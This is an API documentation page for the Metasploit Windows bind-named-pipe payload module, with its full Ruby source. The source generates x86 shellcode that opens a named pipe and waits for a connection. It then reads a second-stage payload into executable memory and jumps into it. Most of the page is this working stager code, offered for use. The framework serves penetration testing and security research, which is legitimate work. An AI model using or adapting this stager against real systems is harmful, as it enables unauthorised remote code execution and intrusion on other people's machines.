Module: Msf::Payload::Windows::BindNamedPipe

Includes:
TransportConfig, Msf::Payload::Windows, BlockApi, Exitfunk, SendUUID
Defined in:
lib/msf/core/payload/windows/bind_named_pipe.rb

Overview

bind_named_pipe payload generation for Windows ARCH_X86

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from Exitfunk

#asm_exitfunk

Methods included from BlockApi

#asm_block_api

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Instance Method Details

#asm_bind_named_pipe(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {})

    a customizable set of options

Options Hash (opts):

  • :exitfunk (String)

    The exit method to use if there is an error, one of process, thread, or seh

  • :reliable (Bool)

    Whether or not to enable error handling code

  • :name (String)

    Pipe name to create

  • :timeout (Int)

    Seconds to wait for pipe connection


140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
# File 'lib/msf/core/payload/windows/bind_named_pipe.rb', line 140

def asm_bind_named_pipe(opts={})

  reliable       = opts[:reliable]
  timeout        = opts[:timeout] * 1000 # convert to millisecs
  retry_wait     = 500
  retry_count    = timeout / retry_wait
  full_pipe_name = "\\\\\\\\.\\\\pipe\\\\#{opts[:name]}"  # double escape -> \\.\pipe\name
  chunk_size     = 0x10000    # pipe buffer size
  cleanup_funk   = reliable ? 'cleanup_file' : 'failure'
  pipe_mode      = 1          # (PIPE_TYPE_BYTE|PIPE_NOWAIT|PIPE_READMODE_BYTE)

  asm = %Q^
    create_named_pipe:
      push 0                  ; lpSecurityAttributes. Default r/w for creator and administrators
      push 0                  ; nDefaultTimeOut
      push #{chunk_size}      ; nInBufferSize
      push #{chunk_size}      ; nOutBufferSize
      push 255                ; nMaxInstances (PIPE_UNLIMITED_INSTANCES). in case pipe isn't released
      push #{pipe_mode}       ; dwPipeMode
      push 3                  ; dwOpenMode (PIPE_ACCESS_DUPLEX)
      call get_pipe_name      ; lpName
      db "#{full_pipe_name}", 0x00
    get_pipe_name:
      push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateNamedPipeA')}
      call ebp                ; CreateNamedPipeA(lpName, dwOpenMode, dwPipeMode, nMaxInstances, nOutBufferSize,
                              ;                  nInBufferSize, nDefaultTimeOut, lpSecurityAttributes)
      mov edi, eax            ; save hPipe (using sockedi convention)

    ; check for failure
      cmp eax, -1             ; did it work? (INVALID_HANDLE_VALUE)
      jz failure

    ; initialize retry counter
      push #{retry_count}     ; retry counter
      pop esi

    ; Connect pipe to remote
    connect_pipe:
      push 0                  ; lpOverlapped
      push edi                ; hPipe
      push #{Rex::Text.block_api_hash('kernel32.dll', 'ConnectNamedPipe')}
      call ebp                ; ConnectNamedPipe(hPipe, lpOverlapped)

    ; check for failure
      push #{Rex::Text.block_api_hash('kernel32.dll', 'GetLastError')}
      call ebp                ; GetLastError()
      cmp eax, 0x217          ; looking for ERROR_PIPE_CONNECTED
      jz get_stage_size       ; success
      dec esi
      jz #{cleanup_funk}      ; out of retries

    ; wait before trying again
      push #{retry_wait}
      push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
      call ebp                ; Sleep(millisecs)
      jmp connect_pipe
    ^

  asm << asm_send_uuid if include_send_uuid

  asm << 'get_stage_size:'

  # For reliability, set pipe state to wait so ReadFile blocks
  if reliable
    asm << %Q^
      push 0
      mov ecx, esp
      push 0                  ; lpCollectDataTimeout
      push 0                  ; lpMaxCollectionCount
      push ecx                ; lpMode (PIPE_WAIT)
      push edi                ; hPipe
      push #{Rex::Text.block_api_hash('kernel32.dll', 'SetNamedPipeHandleState')}
      call ebp                ; SetNamedPipeHandleState(hPipe, lpMode, lpMaxCollectionCount, lpCollectDataTimeout)
    ^
  end

  asm << %Q^
    ; read size of second stage
      sub esp, 8
      push 0                  ; lpOverlapped
      lea ebx, [esp+4]        ; lpNumberOfBytesRead
      push ebx
      push 4                  ; nNumberOfBytesToRead
      lea ecx, [esp+16]       ; lpBuffer
      push ecx
      push edi                ; hPipe
      push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
      call ebp                ; ReadFile(hPipe, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped)
      pop eax                 ; lpNumberOfBytesRead
      pop esi                 ; lpBuffer (stage size)
    ^

  if reliable
    asm << %Q^
    ; check for bytesRead == 4
      cmp eax, 4              ; expecting 4 bytes
      jnz cleanup_file
    ^
  end

  asm << %Q^
    get_second_stage:
    ; Alloc a RWX buffer for the second stage
      push 0x40               ; PAGE_EXECUTE_READWRITE
      push 0x1000             ; MEM_COMMIT
      push esi                ; dwLength
      push 0                  ; NULL as we dont care where the allocation is
      push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
      call ebp                ; VirtualAlloc(NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
    ^

  if reliable
    asm << %Q^
      test eax, eax           ; VirtualAlloc returning 0 is an error
      jz cleanup_file
    ^
  end

  asm << %Q^
      push eax                ; save stage base address
      mov ebx, eax            ; stage 2 buff ptr

    read_more:
      ; prepare the size min(0x10000, esi)
      mov edx, #{chunk_size}
      cmp edx, esi
      jle read_max            ; read chunk_size
      mov edx, esi            ; read remaining bytes
    read_max:
      push 0
      mov ecx, esp
      push 0                  ; lpOverlapped
      push ecx                ; lpNumberOfBytesRead
      push edx                ; nNumberOfBytesToRead
      push ebx                ; lpBuffer
      push edi                ; hPipe
      push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
      call ebp                ; ReadFile(hPipe, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped)
      pop edx                 ; lpNumberOfBytesRead
  ^

  if reliable
    asm << %Q^
    ; check to see if the read worked
      test eax, eax
      jnz read_successful

    ; something failed so free up memory
      pop ecx
      push 0x8000             ; MEM_RELEASE
      push 0                  ; dwSize, 0 to decommit whole block
      push ecx                ; lpAddress
      push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
      call ebp                ; VirtualFree(payload, 0, MEM_RELEASE)

    cleanup_file:
    ; cleanup the pipe handle
      push edi                ; file handle
      push #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')}
      call ebp                ; CloseHandle(hPipe)

      jmp failure
    ^
  end

  asm << %Q^
    read_successful:
      add ebx, edx            ; buffer += bytes_received
      sub esi, edx            ; length -= bytes_received
      test esi, esi           ; check for 0 bytes left
      jnz read_more           ; continue if we have more to read

      pop ecx
      jmp ecx                 ; jump into the second stage
  ^

  asm << 'failure:'

  if opts[:exitfunk]
    asm << %Q^
      call exitfunk
    ^
    asm << asm_exitfunk(opts)
  elsif reliable
    asm << %Q^
      call get_kernel32_name
      db "kernel32", 0x00
    get_kernel32_name:
      push #{Rex::Text.block_api_hash('kernel32.dll', 'GetModuleHandleA')}
      call ebp                ; GetModuleHandleA("kernel32")

      call get_exit_name
      db "ExitThread", 0x00
    get_exit_name:            ; lpProcName
      push eax                ; hModule
      push #{Rex::Text.block_api_hash('kernel32.dll', 'GetProcAddress')}
      call ebp                ; GetProcAddress(hModule, "ExitThread")
      push 0                  ; dwExitCode
      call eax                ; ExitProcess(0)
    ^
  else
    # run off the end
  end

  asm
end

#asm_send_uuid(uuid = nil) ⇒ Object

hPipe must be in edi. eax will contain WriteFile return value


114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
# File 'lib/msf/core/payload/windows/bind_named_pipe.rb', line 114

def asm_send_uuid(uuid=nil)
  uuid ||= generate_payload_uuid
  uuid_raw = uuid.to_raw

  asm << %Q^
    send_uuid:
      push 0                     ; lpNumberOfBytesWritten
      push esp
      push #{uuid_raw.length}    ; nNumberOfBytesToWrite
      call get_uuid_address      ; put uuid buffer on the stack
      db #{raw_to_db(uuid_raw)}  ; lpBuffer
    get_uuid_address:
      push edi                   : hPipe
      push #{Rex::Text.block_api_hash('kernel32.dll', 'WriteFile')}
      call ebp                   ; WriteFile(hPipe, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten)
  ^
end

#generateObject

Generate the first stage


39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# File 'lib/msf/core/payload/windows/bind_named_pipe.rb', line 39

def generate
  conf = {
    name:        datastore['PIPENAME'],
    host:        datastore['PIPEHOST'],
    timeout:     datastore['WAIT_TIMEOUT'],
    reliable:    false,
  }

  # Generate the advanced stager if we have space
  unless self.available_space.nil? || required_space > self.available_space
    conf[:reliable] = true
    conf[:exitfunk] = datastore['EXITFUNC']
  end

  generate_bind_named_pipe(conf)
end

#generate_bind_named_pipe(opts = {}) ⇒ Object

Generate and compile the stager


67
68
69
70
71
72
73
74
75
76
77
# File 'lib/msf/core/payload/windows/bind_named_pipe.rb', line 67

def generate_bind_named_pipe(opts={})
  combined_asm = %Q^
    cld                     ; Clear the direction flag.
    call start              ; Call start, this pushes the address of 'api_call' onto the stack.
    #{asm_block_api}
    start:
      pop ebp               ; block API pointer
    #{asm_bind_named_pipe(opts)}
  ^
  Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end

#include_send_uuidObject

By default, we don't want to send the UUID, but we'll send for certain payloads if requested.


60
61
62
# File 'lib/msf/core/payload/windows/bind_named_pipe.rb', line 60

def include_send_uuid
  false
end

#initialize(*args) ⇒ Object

Register bind_named_pipe specific options


27
28
29
30
31
32
33
34
# File 'lib/msf/core/payload/windows/bind_named_pipe.rb', line 27

def initialize(*args)
  super
  register_advanced_options(
    [
      OptInt.new('WAIT_TIMEOUT', [false, 'Seconds pipe will wait for a connection', 10])
    ]
  )
end

#required_spaceObject

Determine the maximum amount of space required for the features requested


86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# File 'lib/msf/core/payload/windows/bind_named_pipe.rb', line 86

def required_space
  # Start with our cached default generated size
  space = cached_size

  # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
  space += 31

  # Reliability adds bytes! +56 if exitfunk, otherwise +90
  #space += 56
  space += 90

  space += uuid_required_size if include_send_uuid

  # The final estimated size
  space
end

#transport_config(opts = {}) ⇒ Object


79
80
81
# File 'lib/msf/core/payload/windows/bind_named_pipe.rb', line 79

def transport_config(opts={})
  transport_config_bind_named_pipe(opts)
end

#uuid_required_sizeObject


103
104
105
106
107
108
109
# File 'lib/msf/core/payload/windows/bind_named_pipe.rb', line 103

def uuid_required_size
  # TODO update this
  space = 0

  # UUID size
  space += 16
end